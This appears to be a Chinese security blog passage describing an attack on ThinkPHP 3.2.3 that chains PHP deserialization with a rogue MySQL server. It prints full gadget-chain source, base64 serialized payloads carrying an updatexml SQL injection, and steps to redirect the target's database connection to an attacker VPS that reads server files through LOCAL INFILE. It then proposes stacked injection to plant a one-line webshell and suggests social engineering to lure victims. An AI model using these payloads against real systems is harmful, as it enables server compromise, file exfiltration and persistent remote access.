上方链子中的数据库信息为我本地的数据库信息,执行该文件后,得到序列化字符串如下:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo4OiJob3N0cG9ydCI7czo0OiI4ODg5IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo4OiJ1c2VybmFtZSI7czo0OiJyb290IjtzOjg6InBhc3N3b3JkIjtzOjQ6InJvb3QiO319fX19传给url

文章插图
可以看到报错注入成功
然后,在公网上搭建一个恶意的MySQL服务,这个脚本在Github中已经有前辈写好了,具体原理就是分析相关的MySQL报文,然后与后端服务器创建恶意连接,并且获得自己想要的文件,这里贴出几个连接,有些项目可能在新的MySQL版本中无法使用 。
- https://github.com/Gifts/Rogue-MySql-Server
- https://github.com/allyshka/Rogue-MySql-Server
- https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read

文章插图
然后利用Python启动,启动完成后,恶意的MySQL就在监听3307端口
python rogue_mysql_server.py接下来修改之前的链子,把IP和端口修改为远程恶意的MySQL地址,然后生成链子<?phpnamespace ThinkDbDriver{use PDO;class Mysql{protected $options = array(PDO::MYSQL_ATTR_LOCAL_INFILE => true// 开启才能读取文件);protected $config = array("debug"=> 1,"database" => "tp323","hostname" => "1.1.1.1","hostport" => "3307","charset"=> "utf8","username" => "root","password" => "root");}}namespace ThinkImageDriver{use ThinkSessionDriverMemcache;class Imagick{private $img;public function __construct(){$this->img = new Memcache();}}}namespace ThinkSessionDriver{use ThinkModel;class Memcache{protected $handle;public function __construct(){$this->handle = new Model();}}}namespace Think{use ThinkDbDriverMysql;class Model{protected $options= array();protected $pk;protected $data = https://www.isolves.com/it/sjk/MYSQL/2022-07-15/array();protected $db = null;public function __construct(){$this->db = new Mysql();$this->options['where'] = '';$this->pk = 'id';$this->data[$this->pk] = array("table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#","where" => "1=1");}}}namespace {echo base64_encode(serialize(new ThinkImageDriverImagick()));}得到:TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjc6IjEuMS4xLjEiO3M6ODoiaG9zdHBvcnQiO3M6NDoiMzMwNyI7czo3OiJjaGFyc2V0IjtzOjQ6InV0ZjgiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czo0OiJyb290Ijt9fX19fQ==传给HomeController控制器然后就可以在远程VPS中的mysql.log得到之前需要恶意下载的文件

文章插图
现在得到了相关数据库信息,然后就可以再次构造链子,利用堆叠注入写入一句话木马getshell了
使用场景
- 能劫持后端服务器,但无法getshell的时候,可以采用这个方法getshell(例如ThinkPHP3.2.3的利用链只能到数据库层,则可以通过这个方法getshell)
- 能引诱用户连接恶意MySQL(社会工程学)
- http://blog.nsfocus.net/malicious-mysql-server-reads-mysql-client-files/
- https://www.modb.pro/db/51823
推荐阅读
- 新一代HTAP数据库崛起,MySQL生态的最佳归宿?
- mysql中all用法和any的用法和内外连接,全外连接,联合查询,自连接
- MySQL数据库 数据表创建教程
- MySQL查询慢别怪索引,没准是这些原因导致的
- mysql 慢查询
- linux系统安装mysql提示初始化失败怎么处理?
- python接口自动化之MySQL数据连接
- 豆瓣|周杰伦新专辑未发豆瓣先开分 疑被恶意评价引网友不满:要官方给说法
- 越野车恶意碾压拖行致交警殉职-恶意碾压拖行交警-故意撞交警怎么判刑
- 越野车恶意碾压拖行致交警殉职-内蒙古一交警遭越野车碾压拖行身亡
